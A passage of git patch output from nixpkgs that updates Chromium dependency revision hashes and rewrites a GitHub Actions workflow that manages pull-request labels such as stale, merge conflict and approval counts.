+        "hash": "sha256-qFLs3gMV0v6c0gjyn29D6pRxSAKumpzAWVgHabPFWRw="
       },
       "src/third_party/securemessage/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/securemessage.git",
@@ -416,8 +421,8 @@
       },
       "src/third_party/jetstream/main": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/JetStream.git",
-        "rev": "0976ddeae0863ef5fb3f9ad09906224b0989f9ad",
-        "hash": "sha256-NyXGd7SwsECGBJ2qodGYB3os+UBgIOg/I8mnrsZJuTg="
+        "rev": "539ab943598b505832a25a2222aa8957f1a20d6f",
+        "hash": "sha256-mE6IoHpLV0LUWEeeiWycXtOhIbhkPvVdLvsPSyv4xPk="
       },
       "src/third_party/jetstream/v2.2": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/JetStream.git",
@@ -511,13 +516,13 @@
       },
       "src/third_party/libvpx/source/libvpx": {
         "url": "https://chromium.googlesource.com/webm/libvpx.git",
-        "rev": "40ec928b3fadcf8edd836445bb5842a11aeb7a2d",
-        "hash": "sha256-aUHvIv78KTiyN/cOYNuhW4UCOD55s8l8VLu4oP0Pk1s="
+        "rev": "b84ca9b63730e7d4563573a56a66317eb0087ebf",
+        "hash": "sha256-SFdYF8vnwNHQbZ1N/ZHr4kxfi9o+BAtuqbak80m9uP4="
       },
       "src/third_party/libwebm/source": {
         "url": "https://chromium.googlesource.com/webm/libwebm.git",
-        "rev": "e79a98159fdf6d1aa37b3500e32c6410a2cbe268",
-        "hash": "sha256-t7An0vYzukel0poLaU4t2k78k3tTR5didbcV47cGWxQ="
+        "rev": "c4522d6cd68582d66f1adfd24debfa9bee202afa",
+        "hash": "sha256-tfji0yPV7v/DETViEp2T7AO6P5xCjPYScTlV3eWFV0w="
       },
       "src/third_party/libwebp/src": {
         "url": "https://chromium.googlesource.com/webm/libwebp.git",
@@ -526,8 +531,8 @@
       },
       "src/third_party/libyuv": {
         "url": "https://chromium.googlesource.com/libyuv/libyuv.git",
-        "rev": "9f9b5cf660dcfa0d3fdee41cf4ffbe4bb6e95114",
-        "hash": "sha256-OYmsMPz7nJwkVSpsDW7SbqrCU5raC1k3Mh/UkonCujM="
+        "rev": "61bdaee13a701d2b52c6dc943ccc5c888077a591",
+        "hash": "sha256-J9Wi3aCc6OjtQCP8JnrY7PYrY587dKLaa1KGAMWmE0c="
       },
       "src/third_party/lss": {
         "url": "https://chromium.googlesource.com/linux-syscall-support.git",
@@ -561,13 +566,13 @@
       },
       "src/third_party/openscreen/src": {
         "url": "https://chromium.googlesource.com/openscreen",
-        "rev": "40fe10467c27b6536e5d3241e5881b6e9f243216",
-        "hash": "sha256-fKXCuGzNVcN8l/2VNR5c9lwUjmSDb7MuEAVF5h8VXQU="
+        "rev": "8cc5a0e8f6695263d44206cf5930641979cb3179",
+        "hash": "sha256-YlcvSDSCHHqDA43+hd5hpajZrIGqpn3KxhMJD8Wf+rs="
       },
       "src/third_party/openscreen/src/buildtools": {
         "url": "https://chromium.googlesource.com/chromium/src/buildtools",
-        "rev": "00459762409cb29cecf398a23cdb0cae918b7515",
-        "hash": "sha256-QXGJRGyyuN0EPDAF7CAzcTSbjHkz8FRjhqd1JEFF/1o="
+        "rev": "077a66f30fcf281b066fafb6dfc60818c238efb6",
+        "hash": "sha256-WnbgaCzZ/BJli6M60kP9e4mVPFDx0yu3eCac5wmQ7iM="
       },
       "src/third_party/openscreen/src/third_party/tinycbor/src": {
         "url": "https://chromium.googlesource.com/external/github.com/intel/tinycbor.git",
@@ -576,23 +581,23 @@
       },
       "src/third_party/pdfium": {
         "url": "https://pdfium.googlesource.com/pdfium.git",
-        "rev": "c82c611f105c0df064cc8c76363578caf9eafb75",
-        "hash": "sha256-kcrWcvbbGgQTfGypJ2EaLunYtSipJJRAin2jHunZoCU="
+        "rev": "cf433ae5520d061db56391155b59b34e67484f39",
+        "hash": "sha256-FF0iXahVfqbi4OOdH9PPgCTAIQT/q0nlT/H70pubCMQ="
       },
       "src/third_party/perfetto": {
         "url": "https://chromium.googlesource.com/external/github.com/google/perfetto.git",
-        "rev": "f35ae1939989c58c29df43f9c2d8610f5b932715",
-        "hash": "sha256-SyYTZnNar6F6/k6PGrkRan3l9hAikEVRciDQQaR7Jvs="
+        "rev": "dd35b295cd359ba094404218414955f961a0d6ae",
+        "hash": "sha256-kzVsti2tygOMgT61TmCz26AByMd3gIXA6xz8RE0iCz4="
       },
       "src/third_party/protobuf-javascript/src": {
         "url": "https://chromium.googlesource.com/external/github.com/protocolbuffers/protobuf-javascript",
-        "rev": "eb785a9363664a402b6336dfe96aad27fb33ffa8",
-        "hash": "sha256-zq86SrDASl6aYPFPijRZp03hJqXUFz2Al/KkiNq7i0M="
+        "rev": "28bf5df73ef2f345a936d9cc95d64ba8ed426a53",
+        "hash": "sha256-c/aC+LZQtedL5oouUXw2eTF6xD7LN3J3C0q3D0wl+W0="
       },
       "src/third_party/pthreadpool/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/pthreadpool.git",
-        "rev": "290ee6fff0c36614702d6b297c148e3fa08e056a",
-        "hash": "sha256-jRHF7vZPmh70jNFVukfWzVnA2dBLSDSnMWVyZ9e08n4="
+        "rev": "dcc9f28589066af0dbd4555579281230abbf74dd",
+        "hash": "sha256-qogacGPNy6SKQaK8CZvGC8YZbVjhDTXuhDqGopB0Eps="
       },
       "src/third_party/pyelftools": {
         "url": "https://chromium.googlesource.com/chromiumos/third_party/pyelftools.git",
@@ -621,13 +626,13 @@
       },
       "src/third_party/search_engines_data/resources": {
         "url": "https://chromium.googlesource.com/external/search_engines_data.git",
-        "rev": "be408bdc2c1501ef25206145a49dcebb98db34b5",
-        "hash": "sha256-XlAE782PsEysPVIBM/Q8VdE9XnvoYUVaeMmUUoYFgvM="
+        "rev": "09fd22f3a4fb77ab03b7734e0c03ff7d7f97ef88",
+        "hash": "sha256-x7zGPqha12Og/AjQp1mkO0MNydM4xXvIcaapNziW0Kw="
       },
       "src/third_party/skia": {
         "url": "https://skia.googlesource.com/skia.git",
-        "rev": "0dfd95a49aed617f242c8b06dd5b255d1cb07776",
-        "hash": "sha256-HBqkqEoyQo3KuRCwP5NW9kuY9maaBYSpjA1lcBdFjxk="
+        "rev": "a46d5732d9fca93eaec23e502e2eef814b707e6b",
+        "hash": "sha256-k0vE2K9KfeYsTVZchvKEA8M7GJQcekbuO5wHJeycBZo="
       },
       "src/third_party/smhasher/src": {
         "url": "https://chromium.googlesource.com/external/smhasher.git",
@@ -641,13 +646,13 @@
       },
       "src/third_party/sqlite/src": {
         "url": "https://chromium.googlesource.com/chromium/deps/sqlite.git",
-        "rev": "8a22b25ad7244abaf07e372cc6dc97e041d663a9",
-        "hash": "sha256-1vAGAF3idxgHGaqb5gT5k3KIGC2H3gqC3RTVU2ZRf4A="
+        "rev": "0a1397d274701c5d39e661e948160da2b9a8db1e",
+        "hash": "sha256-jqelU2bFZ4XwI5dpkusvgUobmRyYo/41ZKqbEmOdpis="
       },
       "src/third_party/swiftshader": {
         "url": "https://swiftshader.googlesource.com/SwiftShader.git",
-        "rev": "7905fa19e456df5aa8e2233a7ec5832c9c6c287b",
-        "hash": "sha256-Wi8mttxM1fuLqrL2q6qPnpmyAfmDqJGA8Wub+yexFLA="
+        "rev": "a8133cbb3c8969e3c1e6b3cea2c02ec8312ef9ca",
+        "hash": "sha256-Fd6T9zFJVPJaF2sbBy+uK0Ia0C6AIZsDbNvPSkbuTJM="
       },
       "src/third_party/text-fragments-polyfill/src": {
         "url": "https://chromium.googlesource.com/external/github.com/GoogleChromeLabs/text-fragments-polyfill.git",
@@ -656,18 +661,18 @@
       },
       "src/third_party/tflite/src": {
         "url": "https://chromium.googlesource.com/external/github.com/tensorflow/tensorflow.git",
-        "rev": "42d6877b1aa1cf324eb03ccf9b13511400341deb",
-        "hash": "sha256-KummGT7CUoGd3lCGXvtSFcFD1FhSlJXDcEi1WKUza70="
+        "rev": "151774faba661a5985a8264653f4457c70a56dea",
+        "hash": "sha256-qpwF2+/dw1u24O5+4bW74R43AgGN//NZwzEmlkyHlr0="
       },
       "src/third_party/vulkan-deps": {
         "url": "https://chromium.googlesource.com/vulkan-deps",
-        "rev": "96793fb0ff6fb5d4328cc6f71d84f5cb2d835daf",
-        "hash": "sha256-rAtsw8JV8EwrNzjK5p7JbWQa6fHfpByvZcP71hHC8uM="
+        "rev": "5912cbdd295c2bacb5798432a7b1cac9d20c0725",
+        "hash": "sha256-kIj8sncNg6dJzg1fgORev/o164G3kMXCGHzlzb09n0U="
       },
       "src/third_party/glslang/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/glslang",
-        "rev": "fc9889c889561c5882e83819dcaffef5ed45529b",
-        "hash": "sha256-HwFP4KJuA+BMQVvBWV0BCRj9U5I3CLEU+5bBtde2f6w="
+        "rev": "93231001597dad1149a5d035af30eda50b9e6b6c",
+        "hash": "sha256-0PocroQj02mdpmFVXr6XB7mVVNzQOaBXm/2GNacZLF0="
       },
       "src/third_party/spirv-cross/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Cross",
@@ -676,38 +681,38 @@
       },
       "src/third_party/spirv-headers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Headers",
-        "rev": "bab63ff679c41eb75fc67dac76e1dc44426101e1",
-        "hash": "sha256-hi4vCwdCnwuYodUYq75niCZt2t9lERQH6529/R+7nH8="
+        "rev": "c9aad99f9276817f18f72a4696239237c83cb775",
+        "hash": "sha256-/KfUxWDczLQ/0DOiFC4Z66o+gtoF/7vgvAvKyv9Z9OA="
       },
       "src/third_party/spirv-tools/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Tools",
-        "rev": "8e9165a3d162967a424dcf2ff645a98b50381cce",
-        "hash": "sha256-GsoaeO3FMzMtMStg1Wp0KUHU3Xxmmr7t3lDyu0ervNk="
+        "rev": "01021466b5e71deaac9054f56082566c782bfd51",
+        "hash": "sha256-04CWBDu4Q+H7EtVTealNyGx0Hml7OjIf0FfK0IuzisY="
       },
       "src/third_party/vulkan-headers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Headers",
-        "rev": "e2e53a724677f6eba8ff0ce1ccb64ee321785cbd",
-        "hash": "sha256-lIuJ50zi9UIMrP/FePI8jHFhJ5LsKhthDY4gIHeZNpo="
+        "rev": "75ad707a587e1469fb53a901b9b68fe9f6fbc11f",
+        "hash": "sha256-vB49bFCx9VVEtpwIFcxdqYT+Pk4DgjoPz4rzPfmuRps="
       },
       "src/third_party/vulkan-loader/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Loader",
-        "rev": "fb78607414e154c7a5c01b23177ba719c8a44909",
-        "hash": "sha256-CeIjyW90Ri0MvhyFfYgss5Rjh5fHKhQf7CgBEcB/nPk="
+        "rev": "c913466fdc5004584890f89ff91121bdb2ffd4ba",
+        "hash": "sha256-D5S1xQbsJ4Ov+3u84Mxj3L/3elyW78jpKRbYo8FpD28="
       },
       "src/third_party/vulkan-tools/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Tools",
-        "rev": "0b8196724e4ad28cc7459b82a9b75f252c08cb3e",
-        "hash": "sha256-oL4lyUH26eO6eJy7EQmuXdt4oy3eQ65fribfMSOZV+8="
+        "rev": "60b640cb931814fcc6dabe4fc61f4738c56579f6",
+        "hash": "sha256-snLYtiXK1eBZYsc7X18/wk4TnhmkSqquWxyjmw9IF2A="
       },
       "src/third_party/vulkan-utility-libraries/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Utility-Libraries",
-        "rev": "4e246c56ec5afb5ad66b9b04374d39ac04675c8e",
-        "hash": "sha256-MmC4UVa9P/0h7r8IBp1LhP9EztwyZv/ASWKKj8Gk1T8="
+        "rev": "49ac28931f28bffaa3cd73dc4ad997284d574962",
+        "hash": "sha256-2mi5gtacSDxtZB8a3oGZqgLhwntSLXlEzDq6W14RHp4="
       },
       "src/third_party/vulkan-validation-layers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-ValidationLayers",
-        "rev": "cea6ec1cdd37494c1f0fc5619c6c356ac33372fb",
-        "hash": "sha256-iXQZ6Qpe0li+QeThxMUCn45OufZ8W/qJcejpMb4/gWc="
+        "rev": "f7ceb1d01a292846db77ec87786be84d6fd568d9",
+        "hash": "sha256-K0KZ8wXTCVRBBN9AWy63ukmE6QkQHKcRgo+YluOhjyc="
       },
       "src/third_party/vulkan_memory_allocator": {
         "url": "https://chromium.googlesource.com/external/github.com/GPUOpen-LibrariesAndSDKs/VulkanMemoryAllocator.git",
@@ -751,18 +756,18 @@
       },
       "src/third_party/webgpu-cts/src": {
         "url": "https://chromium.googlesource.com/external/github.com/gpuweb/cts.git",
-        "rev": "168536ad91bff176bbe31ae692d97f8bfe9fb86d",
-        "hash": "sha256-HB16HM4Gj+2F26tyN393VmHbGxvKOZ+M949059odN/4="
+        "rev": "905c7cbfeaac1cf3feb4c6056dd6f3dbaa06b074",
+        "hash": "sha256-eMDb0nG9HDiesd8KPajbMej8JTll4JkIf17KMnKvW1s="
       },
       "src/third_party/webpagereplay": {
         "url": "https://chromium.googlesource.com/webpagereplay.git",
-        "rev": "2c5049abfc2cf36ece82f7f84ebdcb786659eaf7",
-        "hash": "sha256-lMqCZ27TJ4aXKWDuN22VtceXh0jNH4Ll1234xCbEOro="
+        "rev": "18172a359f6dab8e3f70b6c5c8c7c55d3e97537a",
+        "hash": "sha256-qJnO3fFJhaQA77v1lTJ4B7cbXivquTcSvx/m+OcI3No="
       },
       "src/third_party/webrtc": {
         "url": "https://webrtc.googlesource.com/src.git",
-        "rev": "cec4daea7ed5da94fc38d790bd12694c86865447",
-        "hash": "sha256-mxRckkiBIpQp2Qxj6fcer3jDftp3wlg+aO4BoUHhyiY="
+        "rev": "e4445e46a910eb407571ec0b0b8b7043562678cf",
+        "hash": "sha256-72NbtdYbyMxSGULvOGsZqLj4kvT79pu+TKcnEmcj/Pc="
       },
       "src/third_party/wuffs/src": {
         "url": "https://skia.googlesource.com/external/github.com/google/wuffs-mirror-release-c.git",
@@ -781,18 +786,18 @@
       },
       "src/third_party/xnnpack/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/XNNPACK.git",
-        "rev": "474d7e58d4b8f4bd1a98ee74bc57858769f7d925",
-        "hash": "sha256-UO+nOh7R+3xTSxF2u8dIrv7qn/QmhnDr2J5Ciumj93M="
+        "rev": "f82ad65ca52cb4d39b73088468a5fe00f56fb47c",
+        "hash": "sha256-aavq+i8EpQmIMPaym6JxwBFjbpqKtHshXUkdBIXDtpw="
       },
       "src/third_party/zstd/src": {
         "url": "https://chromium.googlesource.com/external/github.com/facebook/zstd.git",
-        "rev": "d654fca78690fa15cceb8058ac47454d914a0e63",
-        "hash": "sha256-Ginvak0y1CjURT3mQZzdLn3MW9vXxC7T0KLsM6SHDV0="
+        "rev": "f9938c217da17ec3e9dcd2a2d99c5cf39536aeb9",
+        "hash": "sha256-emmJF7XLq5CxXFd0KUrtUtw1YGOHDSiz39vtgVoEPd0="
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "075234cf3d7622d9d588a6f748fc4501aa23080c",
-        "hash": "sha256-wrLxRuJ3rq1yC0PIUGPsuDB/YNee1x3J/i6ZSLk70HM="
+        "rev": "0ea9b0813581826a94b45324e746f9ab57f0f843",
+        "hash": "sha256-jGx1jafKyh9BrrJwWKU78sKlwkX9KYHzhggx6TzRel4="
       }
     }
   },

From 295a031e242db255a6558c9da485894c43b575e7 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 24 Jun 2025 17:37:09 +0200
Subject: [PATCH 1538/4511] Reapply "workflows/labels: manage stale & merge
 conflict labels"

This reverts commit c366efa6e2816c2cb48b3018fe00ceb8ca6cbc81.

(cherry picked from commit 0edbbfc8bbc7da1153ff6a66678d87a663bc5488)
---
 .github/workflows/labels.yml | 361 +++++++++++++++++++++--------------
 1 file changed, 214 insertions(+), 147 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 83cf0511fc5e..c3bc9301f67f 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -17,18 +17,12 @@ on:
       NIXPKGS_CI_APP_PRIVATE_KEY:
         required: true
   workflow_dispatch:
-    inputs:
-      updatedWithin:
-        description: 'Updated within [hours]'
-        type: number
-        required: false
-        default: 0 # everything since last run
 
 concurrency:
   # This explicitly avoids using `run_id` for the concurrency key to make sure that only
-  # *one* non-PR run can run at a time.
+  # *one* scheduled run can run at a time.
   group: labels-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number }}
-  # PR- and manually-triggered runs will be cancelled, but scheduled runs will be queued.
+  # PR-triggered runs will be cancelled, but scheduled runs will be queued.
   cancel-in-progress: ${{ github.event_name != 'schedule' }}
 
 # This is used as fallback without app only.
@@ -69,8 +63,6 @@ jobs:
 
       - name: Labels from API data and Eval results
         uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
-        env:
-          UPDATED_WITHIN: ${{ inputs.updatedWithin }}
         with:
           github-token: ${{ steps.app-token.outputs.token || github.token }}
           script: |
@@ -101,6 +93,9 @@ jobs:
             github.hook.wrap('request', async (request, options) => {
               // Requests to the /rate_limit endpoint do not count against the rate limit.
               if (options.url == '/rate_limit') return request(options)
+              // Search requests are in a different resource group, which allows 30 requests / minute.
+              // We do less than a handful each run, so not implementing throttling for now.
+              if (options.url.startsWith('/search/')) return request(options)
               stats.requests++
               if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(options.method))
                 return writeLimits.schedule(request.bind(null, options))
@@ -128,102 +123,68 @@ jobs:
             const reservoirUpdater = setInterval(updateReservoir, 60 * 1000)
             process.on('uncaughtException', () => clearInterval(reservoirUpdater))
 
-            if (process.env.UPDATED_WITHIN && !/^\d+$/.test(process.env.UPDATED_WITHIN))
-              throw new Error('Please enter "updated within" as integer in hours.')
+            async function handle(item) {
+              try {
+                const log = (k,v,skip) => {
+                  core.info(`#${item.number} - ${k}: ${v}` + (skip ? ' (skipped)' : ''))
+                  return skip
+                }
 
-            const cutoff = new Date(await (async () => {
-              // Always run for Pull Request triggers, no cutoff since there will be a single
-              // response only anyway. 0 is the Unix epoch, so always smaller.
-              if (context.payload.pull_request?.number) return 0
+                log('Last updated at', item.updated_at)
+                stats.prs++
+                log('URL', item.html_url)
 
-              // Manually triggered via UI when updatedWithin is set. Will fallthrough to the last
-              // option if the updatedWithin parameter is set to 0, which is the default.
-              const updatedWithin = Number.parseInt(process.env.UPDATED_WITHIN, 10)
-              if (updatedWithin) return new Date().getTime() - updatedWithin * 60 * 60 * 1000
+                const pull_number = item.number
+                const issue_number = item.number
 
-              // Normally a scheduled run, but could be workflow_dispatch, see above. Go back as far
-              // as the last successful run of this workflow to make sure we are not leaving anyone
-              // behind on GHA failures.
-              // Defaults to go back 1 hour on the first run.
-              return (await github.rest.actions.listWorkflowRuns({
-                ...context.repo,
-                workflow_id: 'labels.yml',
-                event: 'schedule',
-                status: 'success',
-                exclude_pull_requests: true
-              })).data.workflow_runs[0]?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000
-            })())
-            core.info('cutoff timestamp: ' + cutoff.toISOString())
+                // The search result is of a format that works for both issues and pull requests and thus
+                // does not have all fields of a full pull_request response. Notably, it is missing `head.sha`,
+                // which we need to fetch the workflow run below. When triggered via pull_request event,
+                // this field is already available.
+                // This API request is also important for the merge-conflict label, because it triggers the
+                // creation of a new test merge commit. This is needed to actually determine the state of a PR.
+                const pull_request = item.head ? item : (await github.rest.pulls.get({
+                  ...context.repo,
+                  pull_number
+                })).data
 
-            // To simplify this action's logic we fetch the pull_request data again below, even if
-            // we are already in a pull_request event's context and would have the data readily
-            // available. We do this by filtering the list of pull requests with head and base
-            // branch - there can only be a single open Pull Request for any such combination.
-            const prEventCondition = !context.payload.pull_request ? undefined : {
-              // "label" is in the format of `user:branch` or `org:branch`
-              head: context.payload.pull_request.head.label,
-              base: context.payload.pull_request.base.ref
-            }
-
-            const prs = await github.paginate(
-              github.rest.pulls.list,
-              {
-                ...context.repo,
-                state: 'open',
-                sort: 'updated',
-                direction: 'desc',
-                ...prEventCondition
-              },
-              (response, done) => response.data.map(async (pull_request) => {
-                try {
-                  const log = (k,v,skip) => {
-                    core.info(`PR #${pull_request.number} - ${k}: ${v}` + (skip ? ' (skipped)' : ''))
-                    return skip
-                  }
-
-                  if (log('Last updated at', pull_request.updated_at, new Date(pull_request.updated_at) < cutoff))
-                    return done()
-                  stats.prs++
-                  log('URL', pull_request.html_url)
-
-                  const run_id = (await github.rest.actions.listWorkflowRuns({
+                const run_id = (await github.rest.actions.listWorkflowRuns({
+                  ...context.repo,
+                  workflow_id: 'pr.yml',
+                  event: 'pull_request_target',
+                  status: 'success',
+                  exclude_pull_requests: true,
+                  head_sha: pull_request.head.sha
+                })).data.workflow_runs[0]?.id ??
+                  // TODO: Remove this after 2025-09-17, at which point all eval.yml artifacts will have expired.
+                  (await github.rest.actions.listWorkflowRuns({
                     ...context.repo,
-                    workflow_id: 'pr.yml',
+                    // In older PRs, we need eval.yml instead of pr.yml.
+                    workflow_id: 'eval.yml',
                     event: 'pull_request_target',
-                    // For PR events, the workflow run is still in progress with this job itself.
-                    status: prEventCondition ? 'in_progress' : 'success',
+                    status: 'success',
                     exclude_pull_requests: true,
                     head_sha: pull_request.head.sha
-                  })).data.workflow_runs[0]?.id ??
-                    // TODO: Remove this after 2025-09-17, at which point all eval.yml artifacts will have expired.
-                    (await github.rest.actions.listWorkflowRuns({
-                      ...context.repo,
-                      // In older PRs, we need eval.yml instead of pr.yml.
-                      workflow_id: 'eval.yml',
-                      event: 'pull_request_target',
-                      status: 'success',
-                      exclude_pull_requests: true,
-                      head_sha: pull_request.head.sha
-                    })).data.workflow_runs[0]?.id
+                  })).data.workflow_runs[0]?.id
 
-                  // Newer PRs might not have run Eval to completion, yet. We can skip them, because this
-                  // job will be run as part of that Eval run anyway.
-                  if (log('Last eval run', run_id ?? '<pending>', !run_id))
-                    return;
+                // Newer PRs might not have run Eval to completion, yet.
+                // Older PRs might not have an eval.yml workflow, yet.
+                // In either case we continue without fetching an artifact on a best-effort basis.
+                log('Last eval run', run_id ?? '<n/a>')
 
-                  const artifact = (await github.rest.actions.listWorkflowRunArtifacts({
-                    ...context.repo,
-                    run_id,
-                    name: 'comparison'
-                  })).data.artifacts[0]
+                const artifact = run_id && (await github.rest.actions.listWorkflowRunArtifacts({
+                  ...context.repo,
+                  run_id,
+                  name: 'comparison'
+                })).data.artifacts[0]
 
-                  // Instead of checking the boolean artifact.expired, we will give us a minute to
-                  // actually download the artifact in the next step and avoid that race condition.
-                  // Older PRs, where the workflow run was already eval.yml, but the artifact was not
-                  // called "comparison", yet, will be skipped as well.
-                  const expired = new Date(artifact?.expires_at ?? 0) < new Date(new Date().getTime() + 60 * 1000)
-                  if (log('Artifact expires at', artifact?.expires_at ?? '<not found>', expired))
-                    return;
+                // Instead of checking the boolean artifact.expired, we will give us a minute to
+                // actually download the artifact in the next step and avoid that race condition.
+                // Older PRs, where the workflow run was already eval.yml, but the artifact was not
+                // called "comparison", yet, will skip the download.
+                const expired = !artifact || new Date(artifact?.expires_at ?? 0) < new Date(new Date().getTime() + 60 * 1000)
+                log('Artifact expires at', artifact?.expires_at ?? '<n/a>')
+                if (!expired) {
                   stats.artifacts++
 
                   await artifactClient.downloadArtifact(artifact.id, {
@@ -232,39 +193,82 @@ jobs:
                       repositoryOwner: context.repo.owner,
                       token: core.getInput('github-token')
                     },
-                    path: path.resolve(pull_request.number.toString()),
+                    path: path.resolve(pull_number.toString()),
                     expectedHash: artifact.digest
                   })
+                }
 
-                  // Create a map (Label -> Boolean) of all currently set labels.
-                  // Each label is set to True and can be disabled later.
-                  const before = Object.fromEntries(
-                    (await github.paginate(github.rest.issues.listLabelsOnIssue, {
+                // Create a map (Label -> Boolean) of all currently set labels.
+                // Each label is set to True and can be disabled later.
+                const before = Object.fromEntries(
+                  (await github.paginate(github.rest.issues.listLabelsOnIssue, {
+                    ...context.repo,
+                    issue_number
+                  }))
+                  .map(({ name }) => [name, true])
+                )
+
+                const approvals = new Set(
+                  (await github.paginate(github.rest.pulls.listReviews, {
+                    ...context.repo,
+                    pull_number
+                  }))
+                  .filter(review => review.state == 'APPROVED')
+                  .map(review => review.user?.id)
+                )
+
+                const latest_event_at = new Date(
+                  (await github.paginate(
+                    github.rest.issues.listEventsForTimeline,
+                    {
                       ...context.repo,
-                      issue_number: pull_request.number
-                    }))
-                    .map(({ name }) => [name, true])
-                  )
+                      issue_number,
+                      per_page: 100
+                    }
+                  ))
+                  // We also ignore base_ref_force_pushed, which will not happen in nixpkgs, but
+                  // is very useful for testing in forks.
+                  .findLast(({ event }) => !['labeled', 'unlabeled', 'base_ref_force_pushed'].includes(event))
+                  ?.created_at ?? item.created_at
+                )
+                const stale_at = new Date(new Date().setDate(new Date().getDate() - 180))
 
-                  const approvals = new Set(
-                    (await github.paginate(github.rest.pulls.listReviews, {
-                      ...context.repo,
-                      pull_number: pull_request.number
-                    }))
-                    .filter(review => review.state == 'APPROVED')
-                    .map(review => review.user?.id)
-                  )
+                // Manage most of the labels, without eval results
+                const after = Object.assign(
+                  {},
+                  before,
+                  {
+                    // We intentionally don't use the mergeable or mergeable_state attributes.
+                    // Those have an intermediate state while the test merge commit is created.
+                    // This doesn't work well for us, because we might have just triggered another
+                    // test merge commit creation by request the pull request via API at the start
+                    // of this function.
+                    // The attribute merge_commit_sha keeps the old value of null or the hash *until*
+                    // the new test merge commit has either successfully been created or failed so.
+                    // This essentially means we are updating the merge conflict label in two steps:
+                    // On the first pass of the day, we just fetch the pull request, which triggers
+                    // the creation. At this stage, the label is likely not updated, yet.
+                    // The second pass will then read the result from the first pass and set the label.
+                    '2.status: merge conflict': !pull_request.merge_commit_sha,
+                    '2.status: stale': !before['1.severity: security'] && latest_event_at < stale_at,
+                    '12.approvals: 1': approvals.size == 1,
+                    '12.approvals: 2': approvals.size == 2,
+                    '12.approvals: 3+': approvals.size >= 3,
+                    '12.first-time contribution':
+                      [ 'NONE', 'FIRST_TIMER', 'FIRST_TIME_CONTRIBUTOR' ].includes(pull_request.author_association),
+                  }
+                )
 
+                // Manage labels based on eval results
+                if (!expired) {
                   const maintainers = new Set(Object.keys(
-                    JSON.parse(await readFile(`${pull_request.number}/maintainers.json`, 'utf-8'))
+                    JSON.parse(await readFile(`${pull_number}/maintainers.json`, 'utf-8'))
                   ).map(m => Number.parseInt(m, 10)))
 
-                  const evalLabels = JSON.parse(await readFile(`${pull_request.number}/changed-paths.json`, 'utf-8')).labels
+                  const evalLabels = JSON.parse(await readFile(`${pull_number}/changed-paths.json`, 'utf-8')).labels
 
-                  // Manage the labels
-                  const after = Object.assign(
-                    {},
-                    before,
+                  Object.assign(
+                    after,
                     // Ignore `evalLabels` if it's an array.
                     // This can happen for older eval runs, before we switched to objects.
                     // The old eval labels would have been set by the eval run,
@@ -272,41 +276,104 @@ jobs:
                     // TODO: Simplify once old eval results have expired (~2025-10)
                     (Array.isArray(evalLabels) ? undefined : evalLabels),
                     {
-                      '12.approvals: 1': approvals.size == 1,
-                      '12.approvals: 2': approvals.size == 2,
-                      '12.approvals: 3+': approvals.size >= 3,
                       '12.approved-by: package-maintainer': Array.from(maintainers).some(m => approvals.has(m)),
-                      '12.first-time contribution':
-                        [ 'NONE', 'FIRST_TIMER', 'FIRST_TIME_CONTRIBUTOR' ].includes(pull_request.author_association),
                     }
                   )
-
-                  // No need for an API request, if all labels are the same.
-                  const hasChanges = Object.keys(after).some(name => (before[name] ?? false) != after[name])
-                  if (log('Has changes', hasChanges, !hasChanges))
-                    return;
-
-                  // Skipping labeling on a pull_request event, because we have no privileges.
-                  const labels = Object.entries(after).filter(([,value]) => value).map(([name]) => name)
-                  if (log('Set labels', labels, context.eventName == 'pull_request'))
-                    return;
-
-                  await github.rest.issues.setLabels({
-                    ...context.repo,
-                    issue_number: pull_request.number,
-                    labels
-                  })
-                } catch (cause) {
-                  throw new Error(`Labeling PR #${pull_request.number} failed.`, { cause })
                 }
-              })
-            );
 
-            (await Promise.allSettled(prs.flat()))
-              .filter(({ status }) => status == 'rejected')
-              .map(({ reason }) => core.setFailed(`${reason.message}\n${reason.cause.stack}`))
+                // No need for an API request, if all labels are the same.
+                const hasChanges = Object.keys(after).some(name => (before[name] ?? false) != after[name])
+                if (log('Has changes', hasChanges, !hasChanges))
+                  return;
 
-            core.notice(`Processed ${stats.prs} PRs, made ${stats.requests + stats.artifacts} API requests and downloaded ${stats.artifacts} artifacts.`)
+                // Skipping labeling on a pull_request event, because we have no privileges.
+                const labels = Object.entries(after).filter(([,value]) => value).map(([name]) => name)
+                if (log('Set labels', labels, context.eventName == 'pull_request'))
+                  return;
+
+                await github.rest.issues.setLabels({
+                  ...context.repo,
+                  issue_number,
+                  labels
+                })
+              } catch (cause) {
+                throw new Error(`Labeling #${item.number} failed.`, { cause })
+              }
+            }
+
+            if (context.payload.pull_request) {
+              await handle(context.payload.pull_request)
+            } else {
+              const workflowData = (await github.rest.actions.listWorkflowRuns({
+                ...context.repo,
+                workflow_id: 'labels.yml',
+                event: 'schedule',
+                status: 'success',
+                exclude_pull_requests: true,
+                per_page: 1
+              })).data
+
+              // Go back as far as the last successful run of this workflow to make sure
+              // we are not leaving anyone behind on GHA failures.
+              // Defaults to go back 1 hour on the first run.
